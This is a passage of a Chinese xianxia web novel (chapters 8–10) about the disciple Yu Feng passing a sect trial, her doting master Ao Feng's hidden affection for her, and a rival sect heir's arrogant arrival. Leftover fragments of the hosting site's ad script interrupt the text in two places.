言罢挥挥手,径直回到恒心殿,将大门紧闭,徒留敖风一人在桃花夜色下。 才吊起的胃口生生悬在半空,敖风胸口憋闷,有气却无处可撒,手中攥着的桃花泥土逐渐被碾碎,随手摔在地面。 “过了筛选……” 敖风凝着烛光熄灭,只余莹莹柔光的恒心殿,勾唇无奈发笑。他这是反被余枫摆了一道啊。 年幼时便古灵精怪,如今长大,越发主意多,他都快要摁不住。 这着实是个难题。 若他想知道答案,就得让余枫通过筛选,反之则听不到答案…… 可通过筛选的弟子必上弟子大比,届时余枫万一打斗中受伤又该如何是好? 难! 实在难选! 敖风想不出个所以然,决定……拉着别人一起想。 身形化风,穿过浓浓夜色,眨眼闪掠至广元殿。 广元殿内烛火将熄,处理了诸多事务的广元掀起被褥刚准备躺下,忽地冷风袭来……五百多岁忙碌了一天的广元十分自觉的掀开被褥起身,平静中带着几分绝望的冲着闯入寝殿的男人行礼。 “见过师祖,师祖若要我的命,便拿去罢……” 敖风莫名其妙看他一眼,“要你命作甚?” 略微烦躁的坐在榻上,皱眉沉吟片刻,他说。 “广元,筛选试炼……让枫儿通过吧。” 广元:? 8. 第8章 恒心殿中素来冷清无聊,余枫整日拉着狄玉环苦练,日子倒也过的飞快。 转眼,便是试炼筛选之日。 余枫跟狄玉环到场时,试炼殿前已人山人海。 “这么多人,弟子大比果然热闹。”余枫环顾四下,一时间感觉像是回到人山人海的人间,心跟着雀跃。 “还开心呢,”狄玉环叹了一声,看着黑压压乌云似的一片人,“人多意味着竞争激烈,又是一翻苦斗……” 若非师尊命令,她真不想参加。 “竞争激烈才好,人生苦短,该刺激刺激。” 余枫说着,直接拉着狄玉环就往人群最深处钻。 看着人群拥挤,摩肩擦踵,但余枫一出现,周围人便自动退散两侧,为二人让开一条道儿来。 仙府弟子众多,即便不认识余枫,但看她身上飘逸,在日光下闪着微光的鲛人雪纱,也猜到她身份,自动退避三舍。 余枫习以为常,不以为意,旁边狄玉环看了眼退至周围的同门,心下不禁又暗叹一声师祖的能量巨大。 别说有人欺负余枫,就连靠近都无人敢靠近。 也不怪余枫想往人间跑,在仙府无人陪伴,实在无聊。 好在余枫心大,并不在意这些,若换做是她被孤立,只怕要郁郁寡欢上一阵日子。 “试炼殿,”余枫打量了一番眼前造型肃穆的建筑,“我记得师姐原先参加过试炼,里面都有些什么试炼?” 狄玉环回过神,耐心与她解释,“试炼便是考验,考验参加大比的弟子心态、潜力以及目前的能力,分为三个试炼部分,照心魔、探灵海跟上剑山。” “刺激!着实来对了!” 试炼每个名称都听着令人倍感压力,但余枫不同,越听越来劲。 想问问什么时候能开门,那头却适时传来门被推开的吱嘎声。 两位仙童分立朱红大门两侧,从中走出位穿着松山绿箭袖长袍的男子。 “竟然是孔方海师兄?” “嗯,他去年在弟子大比胜出,照例需得空缺一年,所以师尊派他来引导今年弟子大比前的筛选。” “孔方海师兄竟是去年魁首?!我怎么什么都不知道。” 自然是那位护短的老祖不让她知晓。 但这话狄玉环没敢说,抿着唇让话烂在肚子里。 上方的孔方海显然注意到了二人,冲着二人颔首示意,而后手一挥,数千枚泥塑如雨点般挥洒而出,悬浮在每个人头顶上。 “入殿试炼虽为幻境,但造成的伤害却是真实,若有撑不住者,可捏碎信物,信物中有师祖设下传送阵法,会立刻带诸位出来。” 余枫稍一伸手,悬浮在她头顶的信物便自动落入她手中。 看清那信物模样,余枫眉心轻跳,眼尾荡开笑来。 这竟是敖风负手而立的泥塑像,不过掌心大小,眉眼衣着皆一比一还原。 余枫还发现,那束发金光是真的金子,上面镶豆大的灵石玛瑙,也是真品。 “信物?” 余枫把玩着师尊的塑像,听得旁边狄玉环语调疑惑,遂朝她看去。 “这信物,有什么问题吗?” “信物没有问题,”狄玉环看着她,“有问题的是,往年并没有信物。” “那就是今年的新环节?” 狄玉环没有回答。 只怕是今年独有的新环节,下次未必有。 至于缘由嘛,近在眼前。 师祖护短真是护出新境界,为余枫一人增添了规则。 余枫对此全然不知,把玩着信物,听得一声衣袂破风,却是孔方海手一挥,殿门大开。 “预祝诸位试炼顺利。” 在场无人先动,余枫轻松拉起狄玉环的手率先朝殿门踏入。 二人身形没入,身后众多弟子才如开闸洪水,鱼贯而入。 试炼殿,从外面瞧着不过人间祭祀庙宇大小,内里却另有乾坤。 踏入殿门的刹那,余枫眼前光亮瞬间被黑暗吞噬,手中握着狄玉环的手兴奋到五指收紧、掌心沁出薄汗。 “别激动,放轻松。”黑暗中,狄玉环的声音传来,顺带在余枫掌心微微挣扎,终于被松开些许。 “师姐,这就是照心魔?” “嗯,从这儿开始,你我就是竞争对手,要分开行动了。” 说着,余枫感觉手心一空,已没了狄玉环的温度。 “小心,若有万一,记得捏碎信物,让阵法带你出去。” 虽有师祖护着,但狄玉环还是忍不住提醒一句。 毕竟余枫比她年幼,又是头一回参加这种真枪实剑的活动,难免担心。 “师姐也小心,若碰上我,都无需手下留情,只管拿出真本事。” 狄玉环没有应答,四下只余不见五指的黑。 余枫将信物放入纳戒中,便环顾四下,摸索着前进。 没走两步,眼前突然明光大亮,宛若金乌坠沉,将四周照如白昼,连脚下每一块青石板缝隙都看得清清楚楚。 光亮延伸成一条坦荡大道,余枫站在光芒末端,身上鲛人雪纱折射粼粼金光,提步迎着光源踏去。 须臾,明光逐渐缩小至萤光大小,眨眼消失不见。 光线骤明骤灭,余枫闭目适应一会儿,再睁开眼,面前是一片圆形空旷地,身穿松山绿弟子长袍的孔方海站在中央,二人四目相对,皆是诧异。 “方海师兄?” 余枫快步上前,看到他身后又一尊塑像。 这回还是敖风的塑像,只不过姿势有了变化。 站立如松,一手负在身后,一手朝前伸出,眉目含笑,与平日里的师尊并无他异。 “余枫师妹?”孔方海看看她身后,再看看四周,竟是除却她一人之外,再无第二人。 没成想她竟是第一个从照心魔中走出来的弟子,孔方海不由又多看她两眼。 “师妹方才在照心魔中……可看到了什么?” 余枫观摩着敖风塑像,并不回头,“什么都没看到……哦,也不是,起初入目一片漆黑,没走两步看到一束刺目光源,我以为是出口,顺着走出来,没想到就到了这儿。” “光源?”孔方海狐疑蹙起眉头。 照心魔顾名思义,踏入其中,就会照出心中潜藏心魔。试炼举行这么多年以来,还从未有人踏入其中会出现刺目光源。 兴许,又是师祖保驾护航的戏码…… “对,”余枫回头又看孔方海,“师兄,你在这儿,可意味着照心魔我算通过?下一个试炼是什么?难道就是这个?”说着,拍拍身边敖风等身塑像。 孔方海点点头,“探灵海,将你的手,放在师祖塑像掌心。” 余枫闻言照做,握住那敖风泥塑的手。 “注入灵力。” 余枫闭目,身上微光亮起,是莹莹蓝光。 蓝光如流水而动,从与泥塑握紧的手中过渡,注入泥塑脚底,如注水般,水线逐渐上移,直将整座泥塑灌满,蓝光忽而刺目,明灭忽闪。 余枫睁开眼,看着光芒闪烁的泥塑,再看看孔方海,“这样够了吗?” 孔方海愣怔看着顷刻间被注满的塑像毫无反应。 要知道师祖的塑像内里可是大有乾坤,要将等身泥塑短短片刻灌注满灵力,不管要有超强的灵力爆发力,还要有广阔的灵海。 仙府中有不少人可以做到,他也可以做到,但做的未必能有余枫这般完美。 回想起方才余枫穿过照心魔的情况,孔方海心头了然了。 又是师祖在暗中保驾护航。 虽然说了让余枫通过,但眼下看来,不管是要余枫通过,还要以佼佼者的身份通过。 “师兄?” 看他盯着塑像发愣,余枫抬手在他眼前晃晃,又唤了一声。 孔方海回过神来,从身后凭空抽出一把佩剑递给她,“此间也通过了,接下来是上剑山,照雪剑威力巨大,恐会误伤他人,这把剑给你。” 余枫也没想着用照雪剑,先前跟广元说好,不带师尊给的宝物入场,已将摄魂铃与纳戒悉数摘下,只身上穿了鲛人雪纱裙。 孔方海给剑,她便毫不思索的接过,在手中抛了抛,竟也十分趁手。 说了声谢,便朝着孔方海指的上剑山试炼场走去,指尖玩转佩剑,神态轻松有余,好似前来踏青游玩一般。 余枫这头前脚刚走,后脚黑暗中又走出一人。 脚步踉跄,面色苍白。 一步踏入光明处脚下突然一软身子跟着倾斜。 孔方海眼疾手快将狄玉环扶住,搀扶着靠坐在墙下,从纳戒中取出一壶灵水递给她。 “究竟看到了什么心魔,能将你变得如此狼狈?” 狄玉环接过水壶仰头饮了一口,眸光深沉,却是一言不发,将水壶交还给他。 孔方海也不追问,将水壶放回纳戒中。看她还没恢复体力,左右眼下也无人,便与她闲聊。 “你可知第一个出来的人是谁?” 狄玉环不假思索回道,“余枫师妹吧。” “你怎知晓?” 狄玉环笑笑,“凡是余枫师妹想要的,师祖哪次不是直接给最好的?这次只怕也不例外。” 孔方海赞同的点点头,笑说,“希望你最后不要跟余枫师妹对上。” 狄玉环这会儿缓过劲来,一手撑着地面起身,抬手就要往敖风塑像手中放。 “哎哎等等,”孔方海连忙叫住她,从一侧重新搬来一尊塑像,“那尊塑像是给余枫师妹用的,你们用的是这个。” 狄玉环闻声望去,见孔方海搬出来一根石柱子。没有花纹雕刻,被削的四方四正的石柱。 看看这石柱,再看看旁边雕琢华丽的敖风伸手塑像,狄玉环额上挂下三条黑线。 这……至于吗? 手中灵力喷涌而出,源源不断注入石柱之中,片刻之后,将石柱灌了个八成。 “你的灵海也不错,”孔方海赞赏的看她一眼,“也不知师祖给余枫什么宝物,方才一眨眼的功夫,余枫就将那塑像灌满了。” 狄玉环又看了眼敖风的等身塑像,什么都没说,提步朝上剑山迈去。 * 前行不过数十步,眼前光线明灭交替。 余枫熟悉这流程,知晓是又有变化,便跟着闭上眼,心中默念三个数睁开。 脚下是一片通红岩浆火海,炽热红浆蜿蜒如同血管,从高处源源不断流淌而下。 余枫抬头望去。一座火山横亘在前,顶端不断往外喷溅岩浆,将头顶黑暗的天烧的通红。高温粘稠的液体四溅开来,只靠温度便将地面灼开一个又一个坑洞。 虽说知晓是幻境,但余枫眼下竟觉得有些热了,身上鲛人雪纱覆盖的地方还好,其余露在外的部分被灼烈的温度烤的绷紧发疼。 余枫看了眼被灼痛的手背,想起进入试炼之前孔方海说的话——虽是幻境,但会受到实质伤害。 “看来是得小心些了。” 嘴里这么说着,一眨眼的功夫余枫就抛在脑后,直接提步迈上火山。 越靠近火山口温度越高,余枫只觉双脚好似泡在滚烫热水当中,行至山腰,正琢磨这“上剑山”的“剑”究竟在何处,脚下半寸处却突然寒光一闪,一柄剑破土而出,直直朝着余枫面门袭来。 这一剑突兀,像是那日夜里与师尊对练时他出的那剑。 余枫反应及时,身形一侧,当下握紧手中剑反击。 一剑劈下,那剑光如琉璃破碎,竟是脆弱不堪一击。 看着慢慢长路,地底兴许还有更多暗剑,余枫勾唇一笑。 “师尊说了,最好的防御就是进攻。” 脚下后撤一步,手中佩剑紧握,身形绷紧,忽而如离弦之箭弹射而出,速度之快,身形在一片火光之中化为白色残影。 地底暗剑接二连三飞射而出,她手握佩剑灵力灌注,横剑一扫掀起强劲罡风,地表流淌的岩浆连同飞射而出的暗剑尽数被撕碎在剑气之中。 余枫身形落地,眼如捕捉到猎物般散发雀跃精芒,一刻不停,脚下又是轻点,身形再次朝山顶飞掠而去。 身形轻盈如鸿羽,剑光犀利斩太虚。 不过须臾,余枫在火山口站定。回头望,来时路上尽是宛若琉璃破碎的断剑,堆叠成山,闪闪发光。 正愁接下来该如何是好,手中剑却适时飞起,一剑亮起灵光刺入火山口中。 周遭明光大盛,凭空生风,吹的余枫墨发衣裙猎猎作响,双目不能视物。 待到再睁开眼,人已经身处在试炼殿前。 不见孔方海身影,只有那两个仙童守在朱红大门两侧,看她出来,冲她躬身行礼贺喜。 “恭喜余枫师妹第一个通过试炼,七日后弟子大比,祝余枫师妹武运昌隆。” 余枫环顾四下,她竟当真是第一个出来。寻了个树下青石坐着,等待狄玉环出来,她有好多问题想问。 百无聊赖间,将敖风先前送她的摄魂铃从纳戒里取出重新戴在腕间,稍微一动,铃铛声清脆悦耳,方才因试炼而沸腾的心逐渐平和。 吹风纳凉,过了大抵一炷香的时辰,陆陆续续有人出现在空地之中。 大多是形容狼狈者被人搀扶而出,手里还握着被捏碎的信物,是在试炼中撑不下去被强制传送出来的。 也有信物完好无损凭空出现之人,应当如她一样是通过试炼之人。 等待许久,还是不见狄玉环,余枫渐渐有些坐不住了。 因为越到后面出来的人,身上伤势越重。 嫣红的血大片绽开在松山绿的袍子上,刺目扎眼,空旷的场地也弥漫开来浓郁的血腥味。 余枫倏然起身,朝着试炼殿大步迈去,行至一半,身后传来女子虚弱呼声。 “余枫……我在这儿。” 余枫回头,在密集人群中一眼看到面色苍白的狄玉环,身形如柳叶,仿佛风一吹就会倒下。 她急步上前,在狄玉环摇摇欲坠中接住她。 离近了才看到,她腰侧受了伤,衣裙被划开寸长的口子,血液汩汩流出。 “怎么伤这么重?”余枫连忙从纳戒里取出伤药给她服 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 下,不过须臾,流血止住。 狄玉环道了声多谢,面上恢复几分血色,“出师不利,照心魔时就受了伤。” “心魔?”余枫抽出一张阵法符纸,随手抛出,光芒笼罩二人全身,眨眼功夫,就将二人传送至恒心殿。 余枫扶着狄玉环上榻休息,又四下转悠忙碌寻灵泉水跟伤药纱布,褪下她衣裙仔细上药。 “说起来,我没碰到什么心魔,进去就是一条阳光大道,师姐的心魔是什么样?能将你伤成这样?” 狄玉环垂下眼帘。脑海中不禁浮现出方才所照心魔。 蛇身人面,粗壮尾巴上斑斓细鳞将她死死缠住,人口吐信,在她面上轻扫而过,痒、渗骨。 搭在被面的双手骤然收紧,指节捏的发白,她却抬头对着余枫微笑,“不过年幼时碰到的一只妖鬼罢了。” “妖鬼?看来心魔真的是令人生怖的东西,那我的心魔怎么那般奇怪?”余枫百思不得其解。 “也不一定是令人生怖的东西,也可能是渴望而不可得之物,当然,也有没有心魔之人,这类人大抵无欲无求,因而不会被心魔困扰。” “无欲无求者没有心魔?” “对,你可以想想你所求是什么?亦或者,你的愿望是什么?” “所求……愿望?”余枫稍微沉吟随即展颜一笑,“我的愿望就是天下太平。” “天下太平?” 余枫点头,“我于风雪天中被师尊带回,小时候的事记不大清了,但是有几幅画面却叫我印象深刻,大抵是战乱,亦或者是妖鬼肆虐,死了很多人,遗孤遍地,哀鸿遍野,那时候就在想,若是天下太平就好了,所以,若我有所求,那定求这个。” * 两仪殿。 敖风坐在主位,下首便是广元,低眉顺眼,目不斜视。 不消片刻,敖风突然起身,负手在身后来回踱步。 广元看着他脚下青石板。 这已经是敖风来回踱步的第三百零七回了,青石板都逐渐起了光,再过些年头,兴许能在老祖脚下磨成一块玉石。 余枫是今日试炼,但他前后做了那么多安排,还要如此焦急,广元不由想吐槽一句:至于么? 心里嫌弃,但表面功夫还是要做的。 广元漫吸口气,冲着敖风一礼。 “师祖,余枫有法器护身,又有师祖留下传送信物,绝对不会有事的,师祖安心。” 敖风来回踱步的脚一转,几步踏到他面前,“你不是与枫儿约定不许她带法器入内?若枫儿没带法器呢?” “这……应当不会吧?” “应当应当,你倒是给本座一个准话!” 敖风又焦躁的原地来回踱步,四周空气也跟着急躁起来,呼呼吹着,大有连天之势。 “初试照心魔,也不知枫儿心魔是何物,好不好对付,若有万一……” “师尊!” 他口中喃喃不休,外面横插一声,孔方海手握名册大步迈入。 没想到敖风也在,顿足冲着敖风一礼。 “见过师祖。” 将手中名册捧起,还没开口说话,眼前冷风迎面而来,直接将他手中名册夺去。 瞧着“余枫”二字稳稳出现在第一页,周围的风瞬间安静下来。 “试炼结束,枫儿竟是第一个通过的?”剩下的名册敖风不感兴趣,抛回给孔方海。 孔方海心道,不是你用手段让余枫第一个通过的吗?眼下怎还明知故问? 嘴上却很老实,拱手一礼,“是,师祖,三场试炼,余枫师妹皆第一个通过。” “枫儿可有受伤?” 广元开了腔,“如此顺遂,看来,余枫应当是带了法器的,不会受伤,师祖放心。” 敖风不听他说,看着孔方海,等着他回话。 “余枫师妹毫发未伤,倒是狄玉环受了伤,我出来时要寻她,旁的人说被余枫师妹带去恒心殿了,给师祖汇报完,我便要去一趟恒心殿看看情况。” 敖风半眯着眼乜向他,“你是要去看狄玉环情况?本座代你去探望便是,你留下,跟广元好好准备一下七日后弟子大比安排。” 言罢,丝毫不给孔方海说话的机会,身形化风,扬长而去。 行至恒心殿门前,恰好听见内里传来二女对话。 “……我的愿望是天下太平。” 里面女子脆生生的嗓音传出。 敖风立在殿门外,听着余枫扬言的愿望,眉眼舒展含笑。 等到内里安静,方才抬手轻叩门扉。 “谁?” “是我。” 余枫起身绕过珠帘,看立在门前衣着光鲜的男人,“师尊?来的正好,快给玉环师姐疗个伤。” 敖风几乎是被余枫推入门的。 眼看着狄玉环就要起身行礼,余枫快步上前将她摁住。 “都受伤了还行什么礼,快躺下,让师尊给你疗伤。” 敖风瞥了眼狄玉环被包扎好的伤处,“你已经给她上过药了。” “是上过药了,但上药哪儿有师祖灵力疗伤来的快?又不疼,又不留疤。” 敖风:…… 敢情是拿他当工具使。 不过也罢,是她开口。 敖风提步上前,掌心精纯灵力喷出,汇聚在狄玉环伤处。 不消片刻,伤势痊愈。 狄玉环活动了下腰身,痛感痊愈,当即下榻冲着敖风道谢。 敖风理了理衣袖褶皱,“不必谢,孔方海很担心你,在四处寻找你下落,你眼下有空,回去报个平安吧。” 这是下逐客令了。 狄玉环自然也不打算多呆,应了声“是”,跟余枫说了声改日见,就提步先走。 屋内,只剩下敖风与余枫二人。 “听闻你三次试炼都是第一。” “应当是,出来时守门仙童说的。” 二人在圆桌前坐下,敖风犹豫了下又问,“可有带法器入内?” 余枫穿了鲛人雪纱,想想这也应当是法器,于是乎点点头,“带了。” 敖风抬手轻抚她发丝,“带便带了,玩的开心就好。” “多谢师尊。”余枫伸手剥了颗青葡萄,想起什么手上动作一顿,将剥好的葡萄送入敖风手中。 “师尊可曾入过试炼殿?” “我设下的,自然入过。” “试炼殿竟是师尊设下的?!” 敖风将青葡萄送入唇中,酸甜汁水在唇齿中爆开,倒也清爽,嗯了一声,眉眼隐隐有几分自傲。 余枫忽而凑近他,“那师尊的心魔是什么?” “我的心魔……” 敖风落下手,脑海中万年岁月弹指而过,眸光犹如深海水波泛起,逐渐深幽。 “对,玉环师姐刚才说,心魔大多是令人生怖亦或者渴望而不可得之物,师尊的心魔是什么?” 敖风薄唇紧抿,凝着近在咫尺,却叫他苦等了几千年的面容,心绪激荡翻涌。 好半晌,他方才吐出一个字来。 “你……” 9. 第9章 余枫剥了一颗青葡萄正递到唇边,闻言动作微微一滞,看向敖风。 那块雪山之巅采来的月光石散发温柔银光,照亮他半边侧脸。 四目相对,一方坦荡带着疑惑好奇,另一方则丢盔弃甲,慌忙低头。 拢在阔袖下的五指跟着蜷紧,重新抬眼,情愫已被藏在深处,面色如常笑看着余枫。 “我是说,你的心魔是什么?你说完了,我再说我的。” 余枫将送到唇边的青葡萄吃下,“师尊下次说话务必一次性说完,我还以为你的心魔是我呢。” “如果,我是说如果,”敖风坐直身子,黑曜石般幽深的眸紧张地凝着余枫眉眼,“如果我的心魔是你呢?” 余枫舒眉笑的明朗,“是我?那是我年幼时闯祸太多,给师尊留下不可磨灭的阴影了?” 她笑得没心没肺,说出来的也并非他想要的答案。 敖风紧攥的手指无力松开,嘴里喃喃。 “你现在一样不让人省心……” “师尊嘀咕什么呢?” 敖风正色,“你的心魔是什么?我听孔方海说照心魔关你是第一个出来……” “心魔?”余枫擦擦手指,一手点着眉心有些为难,“我不知道是不是心魔。” “何意?” “我一踏入照心魔,还未走出三步,前方忽然明光大亮,好像日头在前,我就循着光朝前走,结果就看到了孔方海师兄。” 余枫偏头看他,“师尊,你设下的照心魔会不会时间太久,出了故障?” 试炼殿中央,放着一块他几千年前剖下来的幻蛟石。其幻术之强,甚至一度将敖风逼入绝境,最后绝地反杀。 幻蛟虽死,但化石却千年不腐不坏,敖风落下几道阵法限制,令其余下能量来试炼弟子内心,绝无出错一说。 “没有故障。”敖风答。 余枫更疑惑了,“那我的心魔怎么是那样一副形态?” “内心坦荡光明者,无心魔缠身,”敖风静静望着她,视线直达她眼底眼底深处,好似透过她与漫长岁月,看着另外一个人,眸光缱绻温柔,恍若倒映水中的明月,泛起淡淡涟漪,“你还是同从前一样……” 余枫没有注意到他古怪的眼神,只沉浸在敖风说她没有心魔的意外之中。 “师尊已经知道我的心魔了,该师尊说了,你的心魔是什么?哎,这回话可别说一半啊。” 敖风手肘压在桌上,洁白广袖堆叠,认真凝着余枫,指尖轻轻摩挲。 半晌,他方才启唇,“等时机成熟,我再告诉你。” 余枫自是好奇,缠着敖风让他说,但敖风咬死了非得时机成熟,问他何时才算时机成熟,亦不肯说,最后被余枫缠的没办法,只得再次落跑。 此事余枫算是记在心上,一连几日没去定缘峰山请安,拉着狄玉环继续在院中习剑。毕竟七日后正式大比,她热乎劲没过,万分上头。 她在院落练的酣畅淋漓,殊不知敖风,此刻正在云头看她。 有几日未见敖风,但敖风却是日日见她,只不过全都在她看不见的角落,时而在云端,时而在树上,时而化为鸟雀,时而化作一缕清风,全看余枫需求。 比如眼下,日头高悬,烈烈似火。 余枫与狄玉环一番训练下来额上汗珠滚滚,将鬓边几缕发丝黏在面颊,汗水下滑,将衣领浸透,晕开些深色。 敖风见状,随手挥出一缕风,将远处的云吹作一处,为余枫遮住灼目日光。 余枫坐在桃花树下擦汗乘凉,洒落在身上的斑驳光影在一瞬间消失不见,她顺势抬头朝上方看去,微风拂动她丝丝缕缕的发,搔的面庞微扬痒。 “这云彩真懂人心。” 狄玉环坐在她旁边,没有抬头。 一开始她也跟余枫一样的想法,天气随人愿,但第三次余枫说热就突然平地起风,她就回过味儿来。 这世上哪儿有那么巧的事?不过有心人故意为之罢了。 狄玉环也没拆穿,附和应了一声,“确实。” 余枫双手撑在身后,任由风将身上汗水吹干,闭目灵力流转,身上鲛人雪纱散出柔柔明光,转眼又恢复洁白如新,还散发着淡淡的果香。 “师姐。” “嗯?” 余枫突然睁开眼,“我讨厌师尊。” 狄玉环脑海中瞬间警铃大作,飞快抬头瞄了眼正上方遮着日光的云,看到疑似师祖的身形,急忙收回视线。 “咳,师妹,马上用膳了,你想吃什么?” 余枫却听不懂她暗示,坐直身子双手环在胸前,“明明说好互相告知心魔,我那日分明说了我的,师尊却不肯说了,还说什么等时机成熟,问他时机何时成熟,又不肯说……” 她煞有介事的又重复一遍,“我讨厌师尊。” 狄玉环心悬在嗓子眼,吞咽口水之际,听她又重复一遍,被呛得连连咳嗽,小心翼翼抬头看了眼云端。 距离甚远,师祖应当大概……没听到吧? “师祖对你素来有求必应,跟你说时机未到,兴许真的是时机未到,绝不会骗你的。” “没个准话,后续谁又知道,”余枫重新躺了回去,“那日师尊说话还大喘气,我问他心魔是什么,他说了个‘你’,我还真以为是我,结果他只是反问我心魔,一个心魔而已,有什么需要藏着掖着的……” 许久没等到狄玉环回话,余枫偏头看她,“师姐?” 狄玉环方才回神,从地上拾起一片桃花,扭头放在她心口处,意有所指道。 “有些事确实需要藏着掖着,静等时机到来。” “怎么连你也这么说……”余枫恍若遭受重创,疲惫躺倒,闭上眼不愿再费神思考,“罢了,心魔什么的,我不好奇就是了,休息一下,专心修炼,去了人间,我还有重要的事做。” “重要的事?” 余枫睁开眼笑得神秘,也学着那般深沉模样说,“等时机成熟再告诉你。” “你这丫头,刚学的就用在我身上?”狄玉环气的哑然失笑。 余枫一手撑地灵活跃起,五指张开,木剑自动飞入手中,“师姐,再来。” 狄玉环学着她方才的模样索性往地上一躺,“饶了我吧,我上年纪了,没有你那些活力。” “这怎么行?马上就是大比了。” “大比什么的,随缘吧,我又没打算拿第一,只要排名看起来没让师尊丢脸就行。” 二女一番拉扯,狄玉环还是被余枫给拉拽起来。 纷纷摆好架势,又是一通酣畅淋漓的对练。 云层之上,敖风已然将余枫方才说的话听的一清二楚,脸色不甚好看。 翻转过身随云彩飘着,眉心架起沟壑。 那日一个“你”字,他怎么就脱口而出了呢? 现在好了,没能回答余枫的问题,还落了个“骗人”的罪名,甚至还被接连说了两次讨厌。 眼下只是回想了下余枫那脆生生的嗓音吐出的“讨厌”二字,敖风便觉蚂蚁噬心,闷痛感无法挥去,令他烦躁无匹。 不过须臾,他倏然站直起身,化风朝着两仪殿方向卷去。 必须想个完美的解决办法,挽回一下在余枫心中的形象。 * 七日时光,稍纵即逝。 与诸天宗的弟子大比开幕。 天边玄鹤长鸣,踩着流光剑的弟子悬于天门,恭迎远道而来的诸天宗门人。 这等热闹,余枫自不会缺席,穿戴整齐一脚踏出门,天边有风迎面而来,在眼前化为俊美男子。 月华白袍加身, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 宛若夕阳落水,袍面也折射出粼粼微光。束发金冠换为通透灵石雕刻的发冠,通身气派,如他那惊为天人的容貌般,一眼叫人挪不开眼去。 “枫儿。” 七日时间,余枫起初是因为记仇没有去拜访请安,后面则是因为练习时间太紧没时间去。 眼下瞧着敖风,早已将那日的事抛之脑后,脚步轻快地迎上前去,唤一声“师尊”。 离得近了,方才察觉敖风眼底青痕深沉,有些疲惫,并不似衣着那般光彩照人。 “师尊这几日没睡好吗?这么重的黑眼圈。” 何止是没睡好,简直是日夜难免,寝食难安。跑去两仪殿揪着广元一起想挽回办法,但二人大眼瞪小眼整整一夜,愣是什么方法都没想出来。 广元撑不住犯困,迷迷糊糊吐槽一句,“想什么解决办法?余枫那小脑瓜,记不住许多事,过几日就忘了……” 敖风茅塞顿开。但因广元说余枫脑瓜小,气愤的揪了广元两把胡子,给他个教训,方才离去。 至于这黑眼圈……余枫记不住的事,他记得住。 每日都在懊悔那日脱口而出,每每想起便如蚂蚁爬过心头,令他难受无比,坐立难安。 敖风嘴角笑意微僵,转过身去,在面上施展个小术法,将黑眼圈遮住,复又重新转过身来,完美的姿态面对余枫。 “现在好了。” 余枫点点头,“遮是遮住了,但师尊今日忙完回去可要好生歇息,否则跟广元府主一样,才五百岁,头发都白了,皮肤也皱巴了。” “绝无可能,”敖风一甩袖站的笔直如松,眉眼颇有几分傲气,“我一千岁得道,容颜便定在那刻,永不衰老,除非……” “除非什么?” “除非我修为散尽,归于虚无,”敖风神色严肃,但紧接着又补一句,“那更是绝无可能。” 他视线落在余枫身上,“今日弟子大比,还要穿鲛人雪纱吗?” 余枫点头,“师尊送我的第一件法器,自是要穿的。” 敖风眼底亮起微光,眉梢被融化几分,伸手牵起余枫。 “还会送你更多,无需如此珍藏第一件,随我来。” “师尊是带了新衣服给我吗?” “是。” “不换了,下次吧。” 余枫这边回着话,心神早已被天边一艘飞船勾去。 船身庞大华丽,顶端挂帆,蓝底黑字写着“诸天宗”三个大字。 不等敖风回头,便直接朝飞船降落处追去。 地面迎接飞船的人已站了许多,余枫落地落的艰难,堪堪寻到落脚点,就被旁边一只手扯了过去。 “我还以为这种热闹你会第一个来呢,”狄玉环穿着松山绿长袍,满头乌发用三指宽的墨绿发带束起,穿着精神,但神态仍旧如往常松弛,没有一点紧张感。 方才远远瞧着余枫飞来,便挑了她落脚点候着。 “现在也不算晚。” 余枫眼巴巴的望着那飞船,瞧着船头站着个男子,模样看不清楚,只看清他身上穿着金色袍子,也算惹眼。 “那个人是谁?” 狄玉环循着她手指方向望去,“那个,诸天宗老祖不知道重多少辈的孙子,可宝贝着呢,希望大比别跟他碰上,会惹得一身骚。” 余枫显然只听了前半段,“孙子?还是重不知道多少辈的?咦……这老祖怕不是根烂黄瓜,相比之下还是师尊好,活了万年都没有沾染烂桃花,宁缺毋滥,一身清正,我日后若寻道侣,便寻师尊那样的。” 虚空中微风聚起,准备惊艳出场的敖风动作戛然而止,隐身在虚空之中。 广袖之下,五指激动到紧攥而起,指甲陷入掌心,鲜血滴淌也浑然不觉。 万千岁月,他似乎看到了曙光。 10. 第10章 敖风闭目深吸气,克制着心头翻滚。 但心里犹如大浪翻涌,如何都不能平息。 也怕自己太过激动失了仪态,让余枫对他的好感消散,他便忍着隐身在虚空,静静等着心绪平复。 “停船!天地仙府境内,任何人不得御器飞行,请诸天宗道友下船步行入内。” 前方虚空,穿着松山绿道袍的弟子御剑横在飞船前方,抬手做以拦截姿势,可那飞船却并没有减速的迹象。 立在船头迎着风的那位诸天宗老祖不知重多少辈的孙子一脚抬起,踏在飞船栏杆上。 “本公子远道而来,腿脚酸软,实在步行不得,还请前方道友让开!飞船不长眼,以免冲撞了你!” 那位重孙子公子桀然一笑,飞船速度竟突然加快,朝着前方直冲而来。 “规矩就是规矩,停船!”挡在虚空的弟子一手按上腰侧佩剑,最后喝令,“再不停船,别怪我等不客气!” 飞船一如既往,蛮横犀牛般朝这头横冲直撞而来,狂风掀起,呼呼作响。 左右弟子齐齐迎上,一字排开,拔剑声铮然,动作整齐划一,朝着飞船迎头而上。 灵力对撞,宛若巨石落海,掀起万丈气涟,朝着四面八方震荡波开,刹那间林海倾斜,松涛似浪。 阻挡飞船的弟子直接被撞得七零八落,站在地面众多弟子被气涟波及,身形宛若被浪涛拍中,身形齐齐朝着后方倒去。 重孙子公子见状双手环在胸前,“本公子可不是故意冲撞你们的,是你们不让开,非在前面挡着,早让开不就完了?” 余枫眼疾手快将身旁狄玉环扶住,空了只手,又扶住身旁的小姑娘。 三人站在齐齐倒地的弟子堆里,尤其惹眼。 余枫抬眸望着上空飞船前方立着的重孙子公子,皱起眉尖,“这重孙子真有够讨厌的,我去给他点教训尝尝。” 点地就要掠起,手腕忽而一紧,被狄玉环拽住。 “等等!” “怎么了?” “风有变化。” 余枫定神感知。方才吹在身上轻柔的风,此刻变得微冷,如同深海中涌动暗流。 “师尊来了,那便算了。” 她眉眼弯弯,收回双手,双目环顾虚空,寻找敖风身影。 无形的风在虚空凝聚,从一个小漩涡眨眼变为肉眼可见白色的风圈。 敖风身形还未显出,只从中探出一只手来。 